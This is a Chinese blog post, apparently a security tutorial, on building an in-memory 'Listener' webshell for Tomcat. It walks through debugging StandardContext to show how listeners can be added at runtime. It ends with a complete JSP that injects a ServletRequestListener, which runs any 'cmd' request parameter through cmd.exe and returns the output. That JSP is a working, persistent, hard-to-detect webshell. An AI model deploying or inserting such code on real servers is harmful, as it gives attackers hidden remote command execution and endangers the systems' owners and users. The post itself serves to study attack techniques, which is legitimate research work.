Listener内存马

news/2024/11/28 22:35:52/文章来源:https://www.cnblogs.com/erosion2020/p/18575391

概述

Listener是Java Web App中的一种事件监听机制,用于监听Web应用程序中产生的事件,例如,在ServletContext初始化完成后,会触发contextInitialized事件,实现了ServletContextListener接口的Listener就可以接收到事件通知,可以在内部做一些初始化工作,如加载配置文件,初始化数据库连接池等。

简单来说Listener(监听器)就是一个实现特定接口的普通java程序,这个程序专门用于监听另一个java对象的方法调用或属性改变,当被监听对象发生上述事件后,监听器某个方法将立即被执行。Listener常用于GUI应用程序中,我们的内存马主要涉及到的是ServletRequestListener(由于其在每次请求中都会触发)

补充

在Java WEB中,三组件的执行顺序是Listener -> Filter -> Servlet。学习的时候不知道,先学的Servlet内存马,导致对三组件理解不是很深,后边会优化Servlet内存马的博客,大家见谅。

Listener示例

创建以下类,继承ServletRequestListener,然后实现两个方法requestDestroyed以及requestInitialized

@WebListener
// 这里可以直接使用WebListener,也可以在web.xml进行配置
public class ListenerShell implements ServletRequestListener {public void requestDestroyed(ServletRequestEvent sre) {System.out.println("requestDestroyed......");}public void requestInitialized(ServletRequestEvent sre) {System.out.println("requestInitialized......");}
}

如果不使用注解方式,可以在web.xml中增加配置:

<listener><listener-class>org.example.memoryshell.ListenerShell</listener-class>
</listener>

如图:

image-20241128213901636

在ListenerShell的class处还有requestDestroyedrequestInitialized处打断点,随后启动项目

image-20241128214440042

可以看到class处断点被命中,然后跟踪左下角的堆栈信息,可以看到前边是调用了StandardContext.listenerStart()方法过来的,然后我们看一下这个方法是干嘛的。

image-20241128214625805

这块的代码看起来是调用了findApplicationListeners把所有的listeners查出来,然后创建对应的listener实例。

image-20241128214823009

其实applicationListeners的定义居然是一个List,嗯?web.xml中配置的不就是一个类的全路径字符串嘛,打开调试窗口看一下applicationListeners是啥东西

image-20241128215154574

确实,这里就是一个List里边存储的就是所有的Listener,啊 这......

继续往下跟代码,此时拿到的results数组就是Listener的实例对象了,继续往下跟

image-20241128220001275

这一段的逻辑就是,判断这个Listener的实例是否是ServletContextAttributeListenerServletRequestAttributeListenerServletRequestListenerHttpSessionIdListenerHttpSessionAttributeListener中的其中一种,如果是的话就把Listener实例添加到eventListeners中。

以上的逻辑都是配置在web.xml或者是使用了注解的配置下产生的,但是我们该怎么把非这种途径下产生的Listener放进入呢?

注意,最后还有一行语句是eventListeners.addAll,放进去的东西是this.getApplicationEventListeners(),我们看一下对应的方法

image-20241128220447651

其实就是一个List,然后恰好在StandardContext中还有往这个List中写入的方法,我们看一下

image-20241128220602085

所以有了这些内容,我们就可以构造基于Listener的恶意代码了。

补充1

通过debug我们还可以发现每一次请求都会触发ServletRequestListener.requestInitialized方法,也就是请求过来的时候Listener对执行初始化创建方法requestInitialized,然后具体的监听器逻辑则执行requestDestroyed方法。

Listener内存马分析

通过上述debug可以得出,Tomcat中的Listener来源于两部分:一是从web.xml配置文件中实例化的Listener,这部分我们无法控制;二是applicationEventListenersList中的Listener,后者是我们可以控制的。只需向applicationEventListenersList中添加恶意Listener,即可实现目标。

实际上,StandardContext类中提供了addApplicationEventListener()方法,我们可以直接调用该方法,将恶意Listener添加到applicationEventListenersList中。

因此,实现内存马的步骤如下:

  • 编写并继承一个恶意Listener;
  • 获取StandardContext实例;
  • 调用StandardContext.addApplicationEventListener()方法,将恶意Listener添加到监听列表中。

Listener内存马代码

创建一个listener_shell.jsp,写入以下内容

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%!// 定义一个简单的 Servlet 用于执行系统命令public class MemShellListener  implements ServletRequestListener{public void requestDestroyed(ServletRequestEvent sre) {HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();String cmd = req.getParameter("cmd");if(cmd == null) return;try {InputStream in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String out = s.hasNext()?s.next():"";Field requestF = req.getClass().getDeclaredField("request");requestF.setAccessible(true);Request request = (Request)requestF.get(req);request.getResponse().getWriter().write(out);}catch (Exception ignore){ }}}%>
<%// 使用反射获取 StandardContext 上下文Field reqField = request.getClass().getDeclaredField("request");reqField.setAccessible(true);Request req = (Request) reqField.get(request);StandardContext stdContext = (StandardContext) req.getContext();stdContext.addApplicationEventListener(new MemShellListener());
%>
<html>
<head><title>Title</title>
</head>
<body><h1>Hello Listener</h1>
</body>
</html>

访问对应的WEB路径,传递calc参数过去,弹出计算器

image-20241128221526509

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/843123.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一种小资源情况下RDS数据实时同步StarRocks方案

使用一台4C8 G服务器轻松实现2个MySQL实例中通过负责分库分表规则之后的5000多张表的数据实时同步到StarRocks一、背景 目前需要将阿里云RDS数据库的数据同步到自建的StarRocks集群。之前使用DolphinScheduler通过定时调度Datax任务,将数据同步到StarRocks集群中,但是随着业务…

Elasticsearch常用查询及Kibana使用

Elasticsearch常用查询及Kibana使用 背景 搭建好Nginx => Filebeat => Logstash => Elasticsearch的日志获取通道后,通过jmeter配置产生10000条请求查看jmeter配置查看聚合报告Devtools工具进行查询查询reponseTime 90%,95%,99%分割线GET nginx-2024.11.28/_search…

Logstash安装及传输日志

Logstash安装及传输日志 Logstash安装按照官方文档安装启动logstash 方法1启动命令systemctl start logstash方法2 查看logstash启动配置先执行命令查看启动文件位置,可看出启动文件位置为/etc/systemd/system/logstash.servicesystemctl status logstash查看/etc/systemd/sys…

FileBeat安装及抽取Nginx日志

FileBeat安装及抽取Nginx日志 FileBeat安装按照官网指导安装,其他系统或版本可参考下载页面。此次测试FileBeat与nginx部署在同一台机器上。curl -L -O https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-7.17.25-linux-x86_64.tar.gz tar xzvf filebeat-7.17.…

jquery数字格式化分隔符插件

jquery-number-divider是一款jquery数字格式化分隔符插件。该数字格式化插件可以按指定格式对大数字进行分隔,可以指定分隔符,是一款简单实用的数字格式化插件。在线演示 下载 安装 可以通过bower来安装number-divider.js数字格式化插件。bower install number-divider …

MySQL底层概述—2.InnoDB磁盘结构

大纲 1.InnoDB磁盘结构 2.表空间(Tablespaces) 3.数据字典(Data Dictionary) 4.双写缓冲区(Double Write Buffer Files) 5.重做日志(redo log) 6.撤销日志(undo log) 7.二进制日志(binlog) 8.新版本结构演变1.InnoDB磁盘结构 (1)Tablespaces (2)Double Write Buffer (3)redo lo…

36. MySQL补充知识点

1. 视图 1.1 理论 [1] 什么是视图 视图是通过查询得到一张虚拟表,并保存下来,后续可以直接使用。 视图也是一张表。 在计算机科学中,视图(View)是一种虚拟表,其内容是一个或多个基本表的查询结果。 与基本表不同,视图不存储实际的数据,而是根据创建视图时的查询语句在…

车间工人违规行为智能识别方案

车间工人违规行为智能识别方案基于深度学习的视频分析系统,车间工人违规行为智能识别方案能够利用工业相机实时监测工人在生产线上的行为,系统不仅能够监测工人的操作行为,还能够监控整个生产流程。例如,它可以监测材料选择需要经过的环节数量,手动翻转的次数,以及上料动…

人员禁区闯入行为检测算法

人员禁区闯入行为检测算法通过现场监控相机捕捉监控区域内的实时图像,人员禁区闯入行为检测算法基于YOLOv7和CNN对图像进行分析,当检测到禁区闯入行为时,系统会立即触发告警。支持与第三方设备通信,发送开关量信号,以及将告警信息推送给后台值班人员。通过实时监控和快速响…

MySQL底层概述—1.InnoDB内存结构

大纲 1.InnoDB引擎架构 2.Buffer Pool 3.Page管理机制之Page页分类 4.Page管理机制之Page页管理 5.Change Buffer 6.Log Buffer1.InnoDB引擎架构 (1)InnoDB引擎架构图 (2)InnoDB内存结构(1)InnoDB引擎架构图 下面是InnoDB引擎架构图,主要分为内存结构和磁盘结构两大部分。(2)I…

[Vue] Watch and WatchEffect

WatchLet’s look at another simple example using our composition API. Here’s some code that has a simple search input box, uses the search text to call an API, and returns the number of events that match the input results. <template><div>Searc…

【java编程】Unsafe 类

Unsafe 类不是一个 ClassLoader, 但是为什么要在本篇文章提起, 其实是因为该类可以进行注入恶意类到 JVM 中. Unsafe 类简介 sun.misc.Unsafe 类是一个提供底层、不安全的操作,比如直接内存访问、线程调度、原子操作等功能的工具类。 这个类主要被Java内部库使用,比如Java的…